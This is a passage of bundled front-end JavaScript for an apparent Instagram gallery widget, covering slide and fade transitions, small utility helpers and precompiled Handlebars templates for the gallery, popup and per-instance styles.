transitionDuration: duration + 'ms',
transitionTimingFunction: easing
});
var transform;
var offset;
var globalThreshold = self.getGlobalThreshold();
if (progress <= 1) {
offset = -progress * movement * globalThreshold;
} else {
offset = -globalThreshold + (1 - progress) * movement * globalThreshold;
}
if (self.isHorizontal()) {
transform = 'translate3d(' + offset + 'px, 0, 0)';
} else {
transform = 'translate3d(0, ' + offset + 'px, 0)';
}
self.$container.css('transform', transform);
self.translationPrevProgress = progress;
},
fade: function (progress, smoothly, movement, q) {
var self = this;
movement = movement || 1;
movement *= 0.5;
var duration = 0;
var easing = '';
if (smoothly) {
duration = self.options.speed;
easing = self.options.easing;
translateTimer = setTimeout(function () {
$both.css({
transitionDuration: '',
transitionTimingFunction: ''
});
q.resolve();
}, duration);
} else {
q.resolve();
}
var $target, dir, end, intermediateProgress;
var activeId = self.getViewIdByProgress(progress);
var $active = self.$viewsList.eq(activeId);
var start = self.getViewStartProgress($active);
if (progress == start) {
dir = 0;
intermediateProgress = 0;
if (progress > self.translationPrevProgress) {
$target = self.$viewsList.eq(activeId - 1);
} else if (progress < self.translationPrevProgress) {
$target = self.$viewsList.eq(activeId + 1);
} else {
$target = $();
}
} else {
if (progress > start) {
dir = 1;
$target = self.$viewsList.eq(activeId + 1);
end = start + self.getThreshold() / self.getGlobalThreshold() / 2;
} else {
dir = -1;
$target = self.$viewsList.eq(activeId - 1);
end = start - self.getThreshold() / self.getGlobalThreshold() / 2;
}
intermediateProgress = (progress - start) / (end - start) * movement;
}
var $both = $().add($active).add($target);
$both.css({
transitionDuration: duration ? duration + 'ms' : '',
transitionTimingFunction: easing
});
$both.width();
$active.css('opacity', 1 - intermediateProgress);
$target.css('opacity', intermediateProgress);
self.translationPrevProgress = progress;
}
};
},{"./jquery":21}],28:[function(require,module,exports){
"use strict";
var $ = require('./jquery');
module.exports = {
MOBILE_DEVICE_REGEX: /android|webos|iphone|ipad|ipod|blackberry|windows\sphone/i,
unifyMultipleOption: function (option) {
var type = $.type(option);
if (type === 'array') {
return option;
} else if (type === 'string') {
return option.split(/[\s,;\|]+/).filter(function (item) {
return !!item;
});
}
return [];
},
parseQuery: function (path) {
var queryMatches = path.match(/\?([^#]+)/);
if (!queryMatches || !queryMatches[1]) {
return null;
}
var params = {};
var parser = function (str) {
var field = str.split('=');
params[field[0]] = field[1] || '';
};
queryMatches[1].split('&').map(parser);
return params;
},
formatNumber: function (num, dec) {
num = parseFloat(num);
dec = dec || 0;
if ($.type(num) !== 'number') {
return NaN;
}
var fixed, integer, des;
if (num >= 1000000) {
fixed = (num / 1000000).toFixed(dec);
des = 'm';
} else if (num >= 1000) {
fixed = (num / 1000).toFixed(dec);
des = 'k';
} else {
fixed = num;
des = '';
}
integer = parseInt(fixed, 10);
if (fixed - integer === 0) {
fixed = integer;
}
return fixed + des;
},
pretifyDate: function (from, lang) {
var now = Math.round(new Date().getTime() / 1000);
var diff = Math.abs(now - from);
var factor, unit;
if (diff >= 604800) {
factor = diff / 604800;
unit = lang.t('w');
} else if (diff >= 86400) {
factor = diff / 86400;
unit = lang.t('d');
} else if (diff >= 3600) {
factor = diff / 3600;
unit = lang.t('h');
} else if (diff >= 60) {
factor = diff / 60;
unit = lang.t('m');
} else {
factor = diff;
unit = lang.t('s');
}
factor = Math.round(factor);
return factor + ' ' + unit;
},
isTouchDevice: function () {
return 'ontouchstart' in document.documentElement;
},
isMobileDevice: function () {
return this.MOBILE_DEVICE_REGEX.test(navigator.userAgent);
},
nl2br: function (str) {
return str.replace(/\n+/, '<br>');
},
getProperty: function (object, path, modifiers) {
var constructor = this;
if (!object || !path || $.type(path) !== 'string') {
return undefined;
}
var last = object;
$.each(path.split('.'), function (i, name) {
last = last[name];
if (!last) {
return false;
}
});
if (last && modifiers) {
last = constructor.applyModifier(last, modifiers);
}
return last;
},
setProperty: function (object, path, value) {
if (!object || !path || $.type(path) !== 'string') {
return undefined;
}
var last = object;
var map = path.split('.');
$.each(map, function (i, name) {
if (i == map.length - 1) {
last[name] = value;
} else if ($.type(last[name]) === 'undefined') {
last[name] = {};
}
last = last[name];
});
return object;
},
applyModifier: function (val, modifiers) {
if ($.type(modifiers) !== 'array') {
modifiers = [modifiers];
}
$.each(modifiers, function (i, mod) {
if ($.type(mod) !== 'function') {
return;
}
val = mod.call(mod, val);
});
return val;
}
};
},{"./jquery":21}],29:[function(require,module,exports){
"use strict";
var views = {};
views['error'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
var stack1, helper;
return '<div class="instashow instashow-error"><div class="instashow-error-panel"><div class="instashow-error-title">Unfortunately, an error occurred</div><div class="instashow-error-caption">' + ((stack1 = (helper = (helper = helpers.message || (depth0 != null ? depth0.message : depth0)) != null ? helper : helpers.helperMissing, typeof helper === 'function' ? helper.call(depth0, {
'name': 'message',
'hash': {},
'data': data
}) : helper)) != null ? stack1 : '') + '</div></div></div>';
},
'useData': true
});
views['gallery'] = views['gallery'] || {};
views['gallery']['arrows'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
return '<div class="instashow-gallery-control-arrow instashow-gallery-control-arrow-previous instashow-gallery-control-arrow-disabled"></div><div class="instashow-gallery-control-arrow instashow-gallery-control-arrow-next instashow-gallery-control-arrow-disabled"></div>';
},
'useData': true
});
views['gallery']['counter'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
var helper, alias1 = helpers.helperMissing, alias2 = 'function', alias3 = this.escapeExpression;
return '<span class="instashow-gallery-media-counter"><span class="instashow-icon instashow-icon-' + alias3((helper = (helper = helpers.icon || (depth0 != null ? depth0.icon : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'icon',
'hash': {},
'data': data
}) : helper)) + '"></span> <em>' + alias3((helper = (helper = helpers.value || (depth0 != null ? depth0.value : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'value',
'hash': {},
'data': data
}) : helper)) + '</em></span>';
},
'useData': true
});
views['gallery']['cover'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
return '<span class="instashow-gallery-media-cover"></span>';
},
'useData': true
});
views['gallery']['empty'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
var helper;
return '<div class="instashow-gallery-empty"><div class="instashow-gallery-empty-text">' + this.escapeExpression((helper = (helper = helpers.message || (depth0 != null ? depth0.message : depth0)) != null ? helper : helpers.helperMissing, typeof helper === 'function' ? helper.call(depth0, {
'name': 'message',
'hash': {},
'data': data
}) : helper)) + '</div></div>';
},
'useData': true
});
views['gallery']['info'] = Handlebars.template({
'1': function (depth0, helpers, partials, data) {
return ' instashow-gallery-media-info-no-description';
},
'3': function (depth0, helpers, partials, data) {
var stack1;
return '<span class="instashow-gallery-media-info-counter"><span class="instashow-icon instashow-icon-like"></span> <em>' + this.escapeExpression(this.lambda((stack1 = depth0 != null ? depth0.info : depth0) != null ? stack1.likesCount : stack1, depth0)) + '</em></span> ';
},
'5': function (depth0, helpers, partials, data) {
var stack1;
return '<span class="instashow-gallery-media-info-counter"><span class="instashow-icon instashow-icon-comment"></span> <em>' + this.escapeExpression(this.lambda((stack1 = depth0 != null ? depth0.info : depth0) != null ? stack1.commentsCount : stack1, depth0)) + '</em></span> ';
},
'7': function (depth0, helpers, partials, data) {
var stack1;
return ' <span class="instashow-gallery-media-info-description">' + this.escapeExpression(this.lambda((stack1 = depth0 != null ? depth0.info : depth0) != null ? stack1.description : stack1, depth0)) + '</span> ';
},
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
var stack1;
return ' <span class="instashow-gallery-media-info' + ((stack1 = helpers.unless.call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.description : stack1, {
'name': 'unless',
'hash': {},
'fn': this.program(1, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '">' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.likesCounter : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(3, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + ' ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.commentsCounter : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(5, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + ' ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.hasDescription : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(7, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '</span>';
},
'useData': true
});
views['gallery']['loader'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
return '<div class="instashow-gallery-loader"><div class="instashow-spinner"></div></div>';
},
'useData': true
});
views['gallery']['media'] = Handlebars.template({
'1': function (depth0, helpers, partials, data) {
var stack1;
return this.escapeExpression(this.lambda((stack1 = depth0 != null ? depth0.caption : depth0) != null ? stack1.text : stack1, depth0));
},
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
var stack1, helper;
return '<div class="instashow-gallery-media"> <a class="instashow-gallery-media-link" href="' + this.escapeExpression((helper = (helper = helpers.link || (depth0 != null ? depth0.link : depth0)) != null ? helper : helpers.helperMissing, typeof helper === 'function' ? helper.call(depth0, {
'name': 'link',
'hash': {},
'data': data
}) : helper)) + '" target="_blank"><span class="instashow-gallery-media-image"><img src="" alt="' + ((stack1 = helpers['if'].call(depth0, depth0 != null ? depth0.caption : depth0, {
'name': 'if',
'hash': {},
'fn': this.program(1, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '"/></span></a></div>';
},
'useData': true
});
views['gallery']['scroll'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
return '<div class="instashow-gallery-control-scroll"><div class="instashow-gallery-control-scroll-slider"></div></div>';
},
'useData': true
});
views['gallery']['view'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
return '<div class="instashow-gallery-view"></div>';
},
'useData': true
});
views['gallery']['wrapper'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
return '<div class="instashow-gallery-wrapper"><div class="instashow-gallery-container"></div></div>';
},
'useData': true
});
views['popup'] = views['popup'] || {};
views['popup']['media'] = Handlebars.template({
'1': function (depth0, helpers, partials, data) {
return ' instashow-popup-media-has-comments';
},
'3': function (depth0, helpers, partials, data) {
return ' instashow-popup-media-video';
},
'5': function (depth0, helpers, partials, data) {
var stack1;
return '<span class="instashow-popup-media-picture-loader"><span class="instashow-spinner"></span></span> <img src="' + this.escapeExpression(this.lambda((stack1 = (stack1 = (stack1 = depth0 != null ? depth0.media : depth0) != null ? stack1.images : stack1) != null ? stack1.standard_resolution : stack1) != null ? stack1.url : stack1, depth0)) + '" alt=""/> ';
},
'7': function (depth0, helpers, partials, data) {
var stack1, alias1 = this.lambda, alias2 = this.escapeExpression;
return '<video poster="' + alias2(alias1((stack1 = (stack1 = (stack1 = depth0 != null ? depth0.media : depth0) != null ? stack1.images : stack1) != null ? stack1.standard_resolution : stack1) != null ? stack1.url : stack1, depth0)) + '" src="' + alias2(alias1((stack1 = (stack1 = (stack1 = depth0 != null ? depth0.media : depth0) != null ? stack1.videos : stack1) != null ? stack1.standard_resolution : stack1) != null ? stack1.url : stack1, depth0)) + '" preload="false" loop webkit-playsinline></video>';
},
'9': function (depth0, helpers, partials, data) {
var stack1;
return '<div class="instashow-popup-media-info"> ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.hasOrigin : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(10, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + ' ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.hasMeta : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(15, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + ' ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.hasContent : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(25, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '</div> ';
},
'10': function (depth0, helpers, partials, data) {
var stack1;
return '<div class="instashow-popup-media-info-origin"> ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.username : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(11, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + ' ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.instagramLink : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(13, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '</div> ';
},
'11': function (depth0, helpers, partials, data) {
var stack1, alias1 = this.lambda, alias2 = this.escapeExpression;
return ' <a href="https://instagram.com/' + alias2(alias1((stack1 = (stack1 = depth0 != null ? depth0.media : depth0) != null ? stack1.user : stack1) != null ? stack1.username : stack1, depth0)) + '" target="_blank" rel="nofollow" class="instashow-popup-media-info-author"><span class="instashow-popup-media-info-author-picture"><img src="' + alias2(alias1((stack1 = (stack1 = depth0 != null ? depth0.media : depth0) != null ? stack1.user : stack1) != null ? stack1.profile_picture : stack1, depth0)) + '" alt=""/></span> <span class="instashow-popup-media-info-author-name">' + alias2(alias1((stack1 = (stack1 = depth0 != null ? depth0.media : depth0) != null ? stack1.user : stack1) != null ? stack1.username : stack1, depth0)) + '</span></a> ';
},
'13': function (depth0, helpers, partials, data) {
var stack1, alias1 = this.lambda, alias2 = this.escapeExpression;
return ' <a href="' + alias2(alias1((stack1 = depth0 != null ? depth0.media : depth0) != null ? stack1.link : stack1, depth0)) + '" target="_blank" rel="nofollow" class="instashow-popup-media-info-original">' + alias2(alias1((stack1 = depth0 != null ? depth0.info : depth0) != null ? stack1.viewOnInstagram : stack1, depth0)) + '</a> ';
},
'15': function (depth0, helpers, partials, data) {
var stack1;
return '<div class="instashow-popup-media-info-meta"> ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.hasProperties : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(16, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + ' ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.passedTime : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(23, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '</div> ';
},
'16': function (depth0, helpers, partials, data) {
var stack1;
return '<div class="instashow-popup-media-info-properties"> ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.likesCounter : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(17, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + ' ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.commentsCounter : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(19, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + ' ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.hasLocation : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(21, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '</div> ';
},
'17': function (depth0, helpers, partials, data) {
var stack1;
return '<span class="instashow-popup-media-info-properties-item"><span class="instashow-icon instashow-icon-like"></span> <em>' + this.escapeExpression(this.lambda((stack1 = depth0 != null ? depth0.info : depth0) != null ? stack1.likesCount : stack1, depth0)) + '</em></span> ';
},
'19': function (depth0, helpers, partials, data) {
var stack1;
return '<span class="instashow-popup-media-info-properties-item"><span class="instashow-icon instashow-icon-comment"></span> <em>' + this.escapeExpression(this.lambda((stack1 = depth0 != null ? depth0.info : depth0) != null ? stack1.commentsCount : stack1, depth0)) + '</em></span> ';
},
'21': function (depth0, helpers, partials, data) {
var stack1;
return '<span class="instashow-popup-media-info-properties-item-location instashow-popup-media-info-properties-item"><span class="instashow-icon instashow-icon-placemark"></span> <em>' + this.escapeExpression(this.lambda((stack1 = depth0 != null ? depth0.info : depth0) != null ? stack1.location : stack1, depth0)) + '</em></span> ';
},
'23': function (depth0, helpers, partials, data) {
var stack1;
return '<div class="instashow-popup-media-info-passed-time">' + this.escapeExpression(this.lambda((stack1 = depth0 != null ? depth0.info : depth0) != null ? stack1.passedTime : stack1, depth0)) + '</div> ';
},
'25': function (depth0, helpers, partials, data) {
var stack1;
return '<div class="instashow-popup-media-info-content"> ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.hasDescription : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(26, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + ' ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.hasComments : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(28, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '</div> ';
},
'26': function (depth0, helpers, partials, data) {
var stack1, alias1 = this.lambda, alias2 = this.escapeExpression;
return '<div class="instashow-popup-media-info-description"><a href="https://instagram.com/' + alias2(alias1((stack1 = (stack1 = depth0 != null ? depth0.media : depth0) != null ? stack1.user : stack1) != null ? stack1.username : stack1, depth0)) + '" target="_blank" rel="nofollow">' + alias2(alias1((stack1 = (stack1 = depth0 != null ? depth0.media : depth0) != null ? stack1.user : stack1) != null ? stack1.username : stack1, depth0)) + '</a> ' + ((stack1 = alias1((stack1 = depth0 != null ? depth0.info : depth0) != null ? stack1.description : stack1, depth0)) != null ? stack1 : '') + '</div> ';
},
'28': function (depth0, helpers, partials, data) {
var stack1;
return ' ' + ((stack1 = this.lambda((stack1 = depth0 != null ? depth0.info : depth0) != null ? stack1.comments : stack1, depth0)) != null ? stack1 : '') + ' ';
},
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
var stack1;
return '<div class="instashow-popup-media' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.comments : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(1, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '"><figure class="instashow-popup-media-picture' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.isVideo : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(3, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '"> ' + ((stack1 = helpers.unless.call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.isVideo : stack1, {
'name': 'unless',
'hash': {},
'fn': this.program(5, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + ' ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.isVideo : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(7, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '</figure> ' + ((stack1 = helpers['if'].call(depth0, (stack1 = depth0 != null ? depth0.options : depth0) != null ? stack1.hasInfo : stack1, {
'name': 'if',
'hash': {},
'fn': this.program(9, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '</div>';
},
'useData': true
});
views['popup']['mediaComments'] = Handlebars.template({
'1': function (depth0, helpers, partials, data) {
var stack1, helper, alias1 = this.lambda, alias2 = this.escapeExpression;
return '<div class="instashow-popup-media-info-comments-item"> <a href="https://instagram.com/' + alias2(alias1((stack1 = depth0 != null ? depth0.from : depth0) != null ? stack1.username : stack1, depth0)) + '" target="blank" rel="nofollow">' + alias2(alias1((stack1 = depth0 != null ? depth0.from : depth0) != null ? stack1.username : stack1, depth0)) + '</a> ' + ((stack1 = (helper = (helper = helpers.text || (depth0 != null ? depth0.text : depth0)) != null ? helper : helpers.helperMissing, typeof helper === 'function' ? helper.call(depth0, {
'name': 'text',
'hash': {},
'data': data
}) : helper)) != null ? stack1 : '') + '</div> ';
},
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
var stack1;
return '<div class="instashow-popup-media-info-comments"> ' + ((stack1 = helpers.each.call(depth0, depth0 != null ? depth0.list : depth0, {
'name': 'each',
'hash': {},
'fn': this.program(1, data, 0),
'inverse': this.noop,
'data': data
})) != null ? stack1 : '') + '</div>';
},
'useData': true
});
views['popup']['root'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
return '<div class="instashow instashow-popup"><div class="instashow-popup-wrapper"><div class="instashow-popup-container"><div class="instashow-popup-control-close"></div><div class="instashow-popup-control-arrow instashow-popup-control-arrow-previous"><span></span></div><div class="instashow-popup-control-arrow instashow-popup-control-arrow-next"><span></span></div></div></div></div>';
},
'useData': true
});
views['popup']['twilight'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
return '<div class="instashow-popup-twilight"></div>';
},
'useData': true
});
views['style'] = Handlebars.template({
'compiler': [
6,
'>= 2.0.0-beta.1'
],
'main': function (depth0, helpers, partials, data) {
var helper, alias1 = helpers.helperMissing, alias2 = 'function', alias3 = this.escapeExpression;
return '<style type="text/css">\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' {\n background: ' + alias3((helper = (helper = helpers.colorGalleryBg || (depth0 != null ? depth0.colorGalleryBg : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorGalleryBg',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-media-counter,\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-media-info-counter {\n color: ' + alias3((helper = (helper = helpers.colorGalleryCounters || (depth0 != null ? depth0.colorGalleryCounters : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorGalleryCounters',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-media-info-description {\n color: ' + alias3((helper = (helper = helpers.colorGalleryDescription || (depth0 != null ? depth0.colorGalleryDescription : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorGalleryDescription',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-media-cover {\n background: ' + alias3((helper = (helper = helpers.colorGalleryOverlay || (depth0 != null ? depth0.colorGalleryOverlay : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorGalleryOverlay',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-control-scroll {\n background: ' + alias3((helper = (helper = helpers.colorGalleryScrollbar || (depth0 != null ? depth0.colorGalleryScrollbar : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorGalleryScrollbar',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-control-scroll-slider {\n background: ' + alias3((helper = (helper = helpers.colorGalleryScrollbarSlider || (depth0 != null ? depth0.colorGalleryScrollbarSlider : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorGalleryScrollbarSlider',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-control-arrow {\n background: ' + alias3((helper = (helper = helpers.colorGalleryArrowsBg || (depth0 != null ? depth0.colorGalleryArrowsBg : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorGalleryArrowsBg',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-control-arrow:hover {\n background: ' + alias3((helper = (helper = helpers.colorGalleryArrowsBgHover || (depth0 != null ? depth0.colorGalleryArrowsBgHover : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorGalleryArrowsBgHover',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-control-arrow::before,\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-control-arrow::after {\n background: ' + alias3((helper = (helper = helpers.colorGalleryArrows || (depth0 != null ? depth0.colorGalleryArrows : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorGalleryArrows',
'hash': {},
'data': data
}) : helper)) + ';\n }\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-control-arrow:hover::before,\n #instaShowGallery_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-gallery-control-arrow:hover::after {\n background: ' + alias3((helper = (helper = helpers.colorGalleryArrowsHover || (depth0 != null ? depth0.colorGalleryArrowsHover : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorGalleryArrowsHover',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-twilight {\n background: ' + alias3((helper = (helper = helpers.colorPopupOverlay || (depth0 != null ? depth0.colorPopupOverlay : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupOverlay',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-media {\n background: ' + alias3((helper = (helper = helpers.colorPopupBg || (depth0 != null ? depth0.colorPopupBg : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupBg',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
